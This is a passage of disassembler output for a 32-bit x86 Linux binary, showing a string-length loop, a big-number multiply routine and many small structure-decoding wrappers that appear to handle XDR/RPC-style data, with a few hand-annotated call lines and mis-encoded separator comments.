		jnb	short loc_0_8066358
		xor	edi, ecx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	short loc_0_8066358
		mov	ecx, [edx+eax+8]
		mov	edi, 0FEFEFEFFh
		add	edi, ecx
		jnb	short loc_0_8066355
		xor	edi, ecx
		or	edi, 0FEFEFEFFh
		inc	edi
		jnz	short loc_0_8066355
		mov	ecx, [edx+eax+0Ch]
		mov	edi, 0FEFEFEFFh
		add	edi, ecx
		jnb	short loc_0_8066352
		xor	edi, ecx
		or	edi, 0FEFEFEFFh
		inc	edi
		jz	short loc_0_80662F0

loc_0_8066352:				; CODE XREF: sub_0_80662B0+95j
		add	eax, 4

loc_0_8066355:				; CODE XREF: sub_0_80662B0+7Dj
					; sub_0_80662B0+88j
		add	eax, 4

loc_0_8066358:				; CODE XREF: sub_0_80662B0+65j
					; sub_0_80662B0+70j
		add	eax, 4

loc_0_806635B:				; CODE XREF: sub_0_80662B0+4Dj
					; sub_0_80662B0+58j
		test	cl, cl
		jz	short loc_0_806636E
		inc	eax
		test	ch, ch
		jz	short loc_0_806636E
		inc	eax
		test	ecx, 0FF0000h
		jz	short loc_0_806636E
		inc	eax

loc_0_806636E:				; CODE XREF: sub_0_80662B0+12j
					; sub_0_80662B0+21j ...
		mov	edi, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80662B0	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8066420	proc near		; CODE XREF: sub_0_805876C+1A5p
					; sub_0_805876C+1FDp ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		mov	ebx, [ebp+arg_C]
		push	ebp
		lea	edi, [edi+ecx*4]
		lea	esi, [esi+ecx*4]
		neg	ecx
		xor	ebp, ebp
		lea	esi, [esi+0]

loc_0_8066440:				; CODE XREF: sub_0_8066420+33j
		mov	eax, [esi+ecx*4]
		mul	ebx
		add	eax, ebp
		adc	edx, 0
		add	[edi+ecx*4], eax
		adc	edx, 0
		mov	ebp, edx
		inc	ecx
		jnz	short loc_0_8066440
		mov	eax, ebp
		pop	ebp
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8066420	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8066464	proc near		; CODE XREF: sub_0_8066514+Fp
					; sub_0_8066564+Fp ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	100h
		lea	eax, [ebp+arg_4]
		push	eax
		push	edx
		call	sub_0_8065304
		test	eax, eax
		jz	short loc_0_8066488
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8066488:				; CODE XREF: sub_0_8066464+17j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8066464	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8066490	proc near		; CODE XREF: sub_0_8066514+20p
					; sub_0_8066564+20p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	40h
		push	eax
		push	edx
		call	sub_0_8065304
		test	eax, eax
		jz	short loc_0_80664B0
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80664B0:				; CODE XREF: sub_0_8066490+14j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8066490	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80664B8	proc near		; CODE XREF: sub_0_8066628+1Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	100h
		push	eax
		push	edx
		call	sub_0_8065304
		test	eax, eax
		jz	short loc_0_80664DC
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80664DC:				; CODE XREF: sub_0_80664B8+17j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80664B8	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80664E4	proc near		; CODE XREF: sub_0_8066514+31p
					; sub_0_80665A0+1Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		push	400h
		lea	eax, [edx+4]
		push	eax
		push	edx
		push	ecx
		call	sub_0_80651B8
		test	eax, eax
		jz	short loc_0_806650C
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_806650C:				; CODE XREF: sub_0_80664E4+1Bj
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80664E4	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8066514	proc near		; DATA XREF: sub_0_805D3A8+147o
					; sub_0_805D814+DFo

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebx]
		push	eax
		push	esi
		call	sub_0_8066464
		add	esp, 8
		test	eax, eax
		jz	short loc_0_8066558
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_0_8066490
		add	esp, 8
		test	eax, eax
		jz	short loc_0_8066558
		lea	eax, [ebx+8]
		push	eax
		push	esi
		call	sub_0_80664E4
		test	eax, eax
		jz	short loc_0_8066558
		mov	eax, 1
		jmp	short loc_0_806655A
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8066558:				; CODE XREF: sub_0_8066514+19j
					; sub_0_8066514+2Aj ...
		xor	eax, eax

loc_0_806655A:				; CODE XREF: sub_0_8066514+3Fj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8066514	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8066564	proc near		; DATA XREF: sub_0_805D638+BFo
					; .text:0805DB07o ...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebx]
		push	eax
		push	esi
		call	sub_0_8066464
		add	esp, 8
		test	eax, eax
		jz	short loc_0_8066594
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_0_8066490
		test	eax, eax
		jz	short loc_0_8066594
		mov	eax, 1
		jmp	short loc_0_8066596
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ

loc_0_8066594:				; CODE XREF: sub_0_8066564+19j
					; sub_0_8066564+27j
		xor	eax, eax

loc_0_8066596:				; CODE XREF: sub_0_8066564+2Ej
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8066564	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80665A0	proc near		; DATA XREF: sub_0_805D3A8+13Eo
					; sub_0_805D3A8+231o

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	sub_0_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_0_80665D0
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_0_80664E4
		test	eax, eax
		jz	short loc_0_80665D0
		mov	eax, 1
		jmp	short loc_0_80665D2
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80665D0:				; CODE XREF: sub_0_80665A0+17j
					; sub_0_80665A0+25j
		xor	eax, eax

loc_0_80665D2:				; CODE XREF: sub_0_80665A0+2Cj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80665A0	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80665DC	proc near		; CODE XREF: sub_0_80666A0+29p
					; DATA XREF: sub_0_805D638+B6o	...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	sub_0_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_0_806661C
		lea	eax, [ebx+0Ch]
		push	eax
		push	esi
		call	sub_0_80664E4
		add	esp, 8
		test	eax, eax
		jz	short loc_0_806661C
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_0_80664E4
		test	eax, eax
		jz	short loc_0_806661C
		mov	eax, 1
		jmp	short loc_0_806661E
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_806661C:				; CODE XREF: sub_0_80665DC+17j
					; sub_0_80665DC+28j ...
		xor	eax, eax

loc_0_806661E:				; CODE XREF: sub_0_80665DC+3Dj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80665DC	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8066628	proc near		; DATA XREF: .text:0805DCF9o
					; .text:0805DD87o

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	sub_0_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_0_8066658
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_0_80664B8
		test	eax, eax
		jz	short loc_0_8066658
		mov	eax, 1
		jmp	short loc_0_806665A
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8066658:				; CODE XREF: sub_0_8066628+17j
					; sub_0_8066628+25j
		xor	eax, eax

loc_0_806665A:				; CODE XREF: sub_0_8066628+2Cj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8066628	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8066664	proc near		; DATA XREF: .text:0805DBDDo
					; .text:0805DC05o

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	sub_0_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_0_8066694
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_0_8064F10
		test	eax, eax
		jz	short loc_0_8066694
		mov	eax, 1
		jmp	short loc_0_8066696
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8066694:				; CODE XREF: sub_0_8066664+17j
					; sub_0_8066664+25j
		xor	eax, eax

loc_0_8066696:				; CODE XREF: sub_0_8066664+2Cj
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8066664	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80666A0	proc near		; CODE XREF: sub_0_80668AC+24p
					; DATA XREF: sub_0_80668AC+34o	...

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	sub_0_8065098
		add	esp, 8
		test	eax, eax
		jz	short loc_0_80666D2
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_0_80666D8
		cmp	eax, 1
		jnz	short loc_0_80666D2
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_0_80665DC
		test	eax, eax
		jnz	short loc_0_80666D8

loc_0_80666D2:				; CODE XREF: sub_0_80666A0+17j
					; sub_0_80666A0+22j
		xor	eax, eax
		jmp	short loc_0_80666DD
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80666D8:				; CODE XREF: sub_0_80666A0+1Dj
					; sub_0_80666A0+30j
		mov	eax, 1

loc_0_80666DD:				; CODE XREF: sub_0_80666A0+34j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80666A0	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80666E8	proc near		; CODE XREF: sub_0_8066710+Dp

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		lea	eax, [ebp+arg_4]
		push	eax
		push	edx
		call	sub_0_8066490
		test	eax, eax
		jz	short loc_0_8066708
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8066708:				; CODE XREF: sub_0_80666E8+12j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80666E8	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8066710	proc near		; DATA XREF: sub_0_8066710+19o
					; sub_0_8066754+19o

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	sub_0_80666E8
		add	esp, 8
		test	eax, eax
		jz	short loc_0_8066748
		push	offset sub_0_8066710
		push	48h
		lea	eax, [ebx+44h]
		push	eax
		push	esi
		call	sub_0_8067248
		test	eax, eax
		jz	short loc_0_8066748
		mov	eax, 1
		jmp	short loc_0_806674A
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8066748:				; CODE XREF: sub_0_8066710+17j
					; sub_0_8066710+2Cj
		xor	eax, eax

loc_0_806674A:				; CODE XREF: sub_0_8066710+33j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8066710	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8066754	proc near		; DATA XREF: .text:0805DE15o

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	sub_0_8064F10
		add	esp, 8
		test	eax, eax
		jz	short loc_0_806678C
		push	offset sub_0_8066710
		push	48h
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_0_8067248
		test	eax, eax
		jz	short loc_0_806678C
		mov	eax, 1
		jmp	short loc_0_806678E
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_806678C:				; CODE XREF: sub_0_8066754+17j
					; sub_0_8066754+2Cj
		xor	eax, eax

loc_0_806678E:				; CODE XREF: sub_0_8066754+33j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8066754	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8066798	proc near		; CODE XREF: sub_0_8066800+Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	eax
		push	edx
		call	sub_0_806510C
		test	eax, eax
		jz	short loc_0_80667B8
		mov	eax, 1
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80667B8:				; CODE XREF: sub_0_8066798+12j
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8066798	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80667C0	proc near		; CODE XREF: sub_0_8066800+39p
					; .text:08066879p

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	4
		push	ebx
		push	esi
		call	sub_0_8065120
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_0_80667F4
		push	2
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_0_8065120
		test	eax, eax
		jz	short loc_0_80667F4
		mov	eax, 1
		jmp	short loc_0_80667F6
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80667F4:				; CODE XREF: sub_0_80667C0+19j
					; sub_0_80667C0+29j
		xor	eax, eax

loc_0_80667F6:				; CODE XREF: sub_0_80667C0+30j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_80667C0	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_8066800	proc near		; DATA XREF: sub_0_805CE84+27Fo

var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		push	ebx
		push	esi
		call	sub_0_8066798
		add	esp, 8
		test	eax, eax
		jz	short loc_0_8066842
		mov	eax, [ebx]
		cmp	eax, 1
		jz	short loc_0_8066834
		cmp	eax, 2
		jnz	short loc_0_8066842
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_0_8064F10
		jmp	short loc_0_806683E
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8066834:				; CODE XREF: sub_0_8066800+1Ej
		lea	eax, [ebx+4]
		push	eax
		push	esi
		call	sub_0_80667C0

loc_0_806683E:				; CODE XREF: sub_0_8066800+2Fj
		test	eax, eax
		jnz	short loc_0_8066848

loc_0_8066842:				; CODE XREF: sub_0_8066800+17j
					; sub_0_8066800+23j
		xor	eax, eax
		jmp	short loc_0_806684D
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8066848:				; CODE XREF: sub_0_8066800+40j
		mov	eax, 1

loc_0_806684D:				; CODE XREF: sub_0_8066800+44j
		lea	esp, [ebp+var_8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
sub_0_8066800	endp

; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4
		push	ebp
		mov	ebp, esp
		push	esi
		push	ebx
		mov	esi, [ebp+8]
		mov	ebx, [ebp+0Ch]
		push	ebx
		push	esi
		call	sub_0_8066464
		add	esp, 8
		test	eax, eax
		jz	short loc_0_80668A0
		lea	eax, [ebx+104h]
		push	eax
		push	esi
		call	sub_0_80667C0
		add	esp, 8
		test	eax, eax
		jz	short loc_0_80668A0
		lea	eax, [ebx+10Ch]
		push	eax
		push	esi
		call	sub_0_8064FBC
		test	eax, eax
		jz	short loc_0_80668A0
		mov	eax, 1
		jmp	short loc_0_80668A2
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80668A0:				; CODE XREF: .text:0806686Fj
					; .text:08066883j ...
		xor	eax, eax

loc_0_80668A2:				; CODE XREF: .text:0806689Bj
		lea	esp, [ebp-8]
		pop	ebx
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

; ллллллллллллллл S U B	R O U T	I N E ллллллллллллллллллллллллллллллллллллллл

; Attributes: bp-based frame

sub_0_80668AC	proc near		; DATA XREF: .text:0805DAFEo
					; .text:0805DB20o

var_2C		= byte ptr -2Ch
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	edi
		push	esi
		push	ebx
		push	18h
		lea	ebx, [ebp+var_18]
		push	ebx
		call	sub_0_806626C
		add	esp, 8
		mov	[ebp+var_20], ebx
		lea	esi, [esi]

loc_0_80668C8:				; CODE XREF: sub_0_80668AC+114j
		mov	edx, [ebp+var_20]
		push	edx
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_0_80666A0
		add	esp, 8
		test	eax, eax
		jnz	short loc_0_80668FC
		mov	edx, [ebp+var_20]
		push	edx
		push	offset sub_0_80666A0
		call	sub_0_8064E74
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ecx], 0FFFFFFFAh
		xor	eax, eax
		jmp	loc_0_80669F3
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_80668FC:				; CODE XREF: sub_0_80668AC+2Ej
		cmp	[ebp+var_18], 0
		jnz	short loc_0_8066918
		mov	edx, [ebp+var_20]
		push	edx
		push	offset sub_0_80666A0
		call	sub_0_8064E74
		xor	eax, eax
		jmp	loc_0_80669F3
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8066918:				; CODE XREF: sub_0_80668AC+54j
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_1C], ecx
		cmp	ecx, 1
		jz	short loc_0_8066934
		cmp	ecx, 2
		jz	loc_0_80669C8
		jmp	loc_0_80669D8
; ФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФФ
		align 4

loc_0_8066934:				; CODE XREF: sub_0_80668AC+75j
		call	malloc(var_C+1)
		mov	edi, eax
		call	memmove2(var_10,edi,var_C)
		mov	eax, [ebp+var_C]
		mov	byte ptr [eax+edi], 0
		call	malloc(var_4+1)
		mov	ebx, eax
		call	memmove2(var_8,ebx,var_4)
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax+ebx], 0
		mov	edx, [ebp+var_20]
		push	edx
		push	offset sub_0_80666A0
		call	sub_0_8064E74
		mov	eax, ds:dword_0_807EB8C
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		push	ebx
		mov	eax, [ebp+var_C]
		push	eax
		push	edi
		mov	ecx, [ebp+var_1C]
		push	ecx
		mov	eax, ds:dword_0_807EB90
		call	eax
		mov	esi, eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+arg_4]
